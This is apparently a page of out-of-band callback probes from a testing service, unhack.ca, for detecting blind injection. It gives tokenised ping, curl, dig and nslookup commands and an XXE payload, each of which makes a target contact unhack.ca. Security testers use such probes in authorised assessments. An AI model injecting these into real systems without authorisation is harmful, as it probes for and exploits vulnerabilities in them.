$ ping -c1 -p 0070cb65b825aa0d529c1edb5981ff00 unhack.ca
 

$ curl http://unhack.ca/p/70cb65b825aa0d529c1edb5981ff
 

$ dig 70cb65b825aa0d529c1edb5981ff @unhack.ca
 

$ dig 70cb65b825aa0d529c1edb5981ff.ns.unhack.ca
 

C:\> nslookup 70cb65b825aa0d529c1edb5981ff unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/70cb65b825aa0d529c1edb5981ff">]>
    <foo>&xxe;</foo>